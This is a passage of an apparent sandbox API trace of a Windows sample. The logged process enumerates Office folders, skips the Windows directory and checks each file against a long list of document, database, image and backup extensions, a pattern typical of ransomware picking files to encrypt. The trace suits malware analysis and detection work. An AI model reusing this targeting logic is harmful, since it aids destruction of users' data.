(in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.559] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0243.560] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.560] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0243.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.562] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0243.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.563] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0243.564] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.564] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0243.565] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.565] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0243.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.567] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0243.568] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.568] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0243.569] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.569] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0243.571] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.571] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0243.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.573] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0243.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.574] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0243.575] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.575] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0243.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0243.808] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0243.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he") returned 56 [0243.810] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he") returned 1 [0243.811] lstrlenW (lpString="he") returned 2 [0243.811] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="he") returned -1 [0243.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4198320 [0243.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he") returned 56 [0243.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0243.814] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.814] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0243.814] lstrlenW (lpString="msipc.dll.mui") returned 13 [0243.814] lstrlenW (lpString=".1cd") returned 4 [0243.814] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0243.814] lstrlenW (lpString=".3ds") returned 4 [0243.814] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0243.814] lstrlenW (lpString=".3fr") returned 4 [0243.814] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0243.814] lstrlenW (lpString=".3g2") returned 4 [0243.814] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0243.814] lstrlenW (lpString=".3gp") returned 4 [0243.814] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0243.814] lstrlenW (lpString=".7z") returned 3 [0243.814] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0243.814] lstrlenW (lpString=".accda") returned 6 [0243.814] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0243.814] lstrlenW (lpString=".accdb") returned 6 [0243.814] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0243.815] lstrlenW (lpString=".accdc") returned 6 [0243.815] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0243.815] lstrlenW (lpString=".accde") returned 6 [0243.815] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0243.815] lstrlenW (lpString=".accdt") returned 6 [0243.815] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0243.815] lstrlenW (lpString=".accdw") returned 6 [0243.815] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0243.815] lstrlenW (lpString=".adb") returned 4 [0243.815] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0243.815] lstrlenW (lpString=".adp") returned 4 [0243.815] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0243.815] lstrlenW (lpString=".ai") returned 3 [0243.815] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0243.815] lstrlenW (lpString=".ai3") returned 4 [0243.815] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0243.815] lstrlenW (lpString=".ai4") returned 4 [0243.818] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0243.818] lstrlenW (lpString=".ai5") returned 4 [0243.818] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0243.819] lstrlenW (lpString=".ai6") returned 4 [0243.819] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0243.819] lstrlenW (lpString=".ai7") returned 4 [0243.819] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0243.819] lstrlenW (lpString=".ai8") returned 4 [0243.819] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0243.819] lstrlenW (lpString=".anim") returned 5 [0243.820] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0243.820] lstrlenW (lpString=".arw") returned 4 [0243.820] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0243.820] lstrlenW (lpString=".as") returned 3 [0243.820] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0243.820] lstrlenW (lpString=".asa") returned 4 [0243.820] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0243.820] lstrlenW (lpString=".asc") returned 4 [0243.820] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0243.820] lstrlenW (lpString=".ascx") returned 5 [0243.820] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0243.820] lstrlenW (lpString=".asm") returned 4 [0243.820] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0243.820] lstrlenW (lpString=".asmx") returned 5 [0243.822] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0243.824] lstrlenW (lpString=".asp") returned 4 [0243.826] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0243.826] lstrlenW (lpString=".aspx") returned 5 [0243.826] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0243.826] lstrlenW (lpString=".asr") returned 4 [0243.826] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0243.826] lstrlenW (lpString=".asx") returned 4 [0243.827] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0243.827] lstrlenW (lpString=".avi") returned 4 [0243.827] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0243.827] lstrlenW (lpString=".avs") returned 4 [0243.827] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0243.828] lstrlenW (lpString=".backup") returned 7 [0243.829] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0243.832] lstrlenW (lpString=".bak") returned 4 [0243.832] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0243.832] lstrlenW (lpString=".bay") returned 4 [0243.832] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".bd") returned 3 [0243.850] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0243.850] lstrlenW (lpString=".bin") returned 4 [0243.850] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".bmp") returned 4 [0243.850] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".bz2") returned 4 [0243.850] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".c") returned 2 [0243.850] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0243.850] lstrlenW (lpString=".cdr") returned 4 [0243.850] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".cer") returned 4 [0243.850] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".cf") returned 3 [0243.850] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0243.850] lstrlenW (lpString=".cfc") returned 4 [0243.850] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0243.850] lstrlenW (lpString=".cfm") returned 4 [0243.851] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".cfml") returned 5 [0243.851] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0243.851] lstrlenW (lpString=".cfu") returned 4 [0243.851] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".chm") returned 4 [0243.851] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".cin") returned 4 [0243.851] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".class") returned 6 [0243.851] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0243.851] lstrlenW (lpString=".clx") returned 4 [0243.851] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".config") returned 7 [0243.851] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0243.851] lstrlenW (lpString=".cpp") returned 4 [0243.851] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".cr2") returned 4 [0243.851] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".crt") returned 4 [0243.851] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".crw") returned 4 [0243.851] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".cs") returned 3 [0243.851] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0243.851] lstrlenW (lpString=".css") returned 4 [0243.851] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".csv") returned 4 [0243.851] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0243.851] lstrlenW (lpString=".cub") returned 4 [0243.852] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dae") returned 4 [0243.852] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dat") returned 4 [0243.852] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".db") returned 3 [0243.852] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0243.852] lstrlenW (lpString=".dbf") returned 4 [0243.852] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dbx") returned 4 [0243.852] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dc3") returned 4 [0243.852] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dcm") returned 4 [0243.852] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dcr") returned 4 [0243.852] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".der") returned 4 [0243.852] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dib") returned 4 [0243.852] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dic") returned 4 [0243.852] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".dif") returned 4 [0243.852] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".divx") returned 5 [0243.852] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0243.852] lstrlenW (lpString=".djvu") returned 5 [0243.852] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0243.852] lstrlenW (lpString=".dng") returned 4 [0243.852] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0243.852] lstrlenW (lpString=".doc") returned 4 [0243.852] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".docm") returned 5 [0243.853] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0243.853] lstrlenW (lpString=".docx") returned 5 [0243.853] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0243.853] lstrlenW (lpString=".dot") returned 4 [0243.853] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dotm") returned 5 [0243.853] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0243.853] lstrlenW (lpString=".dotx") returned 5 [0243.853] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0243.853] lstrlenW (lpString=".dpx") returned 4 [0243.853] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dqy") returned 4 [0243.853] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dsn") returned 4 [0243.853] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dt") returned 3 [0243.853] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0243.853] lstrlenW (lpString=".dtd") returned 4 [0243.853] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dwg") returned 4 [0243.853] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dwt") returned 4 [0243.853] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".dx") returned 3 [0243.853] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0243.853] lstrlenW (lpString=".dxf") returned 4 [0243.853] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0243.853] lstrlenW (lpString=".edml") returned 5 [0243.853] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0243.853] lstrlenW (lpString=".efd") returned 4 [0243.853] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".elf") returned 4 [0243.854] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".emf") returned 4 [0243.854] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".emz") returned 4 [0243.854] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".epf") returned 4 [0243.854] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".eps") returned 4 [0243.854] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".epsf") returned 5 [0243.854] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0243.854] lstrlenW (lpString=".epsp") returned 5 [0243.854] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0243.854] lstrlenW (lpString=".erf") returned 4 [0243.854] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".exr") returned 4 [0243.854] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".f4v") returned 4 [0243.854] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".fido") returned 5 [0243.854] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0243.854] lstrlenW (lpString=".flm") returned 4 [0243.854] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".flv") returned 4 [0243.854] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".frm") returned 4 [0243.854] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".fxg") returned 4 [0243.854] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0243.854] lstrlenW (lpString=".geo") returned 4 [0243.855] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".gif") returned 4 [0243.855] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".grs") returned 4 [0243.855] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".gz") returned 3 [0243.855] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0243.855] lstrlenW (lpString=".h") returned 2 [0243.855] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0243.855] lstrlenW (lpString=".hdr") returned 4 [0243.855] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".hpp") returned 4 [0243.855] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".hta") returned 4 [0243.855] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".htc") returned 4 [0243.855] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".htm") returned 4 [0243.855] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".html") returned 5 [0243.855] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0243.855] lstrlenW (lpString=".icb") returned 4 [0243.855] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0243.855] lstrlenW (lpString=".ics") returned 4 [0243.855] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0243.857] lstrlenW (lpString=".iff") returned 4 [0243.858] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0243.858] lstrlenW (lpString=".inc") returned 4 [0243.858] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0243.860] lstrlenW (lpString=".indd") returned 5 [0243.860] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0243.860] lstrlenW (lpString=".ini") returned 4 [0243.860] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0243.860] lstrlenW (lpString=".iqy") returned 4 [0243.860] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0243.860] lstrlenW (lpString=".j2c") returned 4 [0243.860] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0243.860] lstrlenW (lpString=".j2k") returned 4 [0243.860] 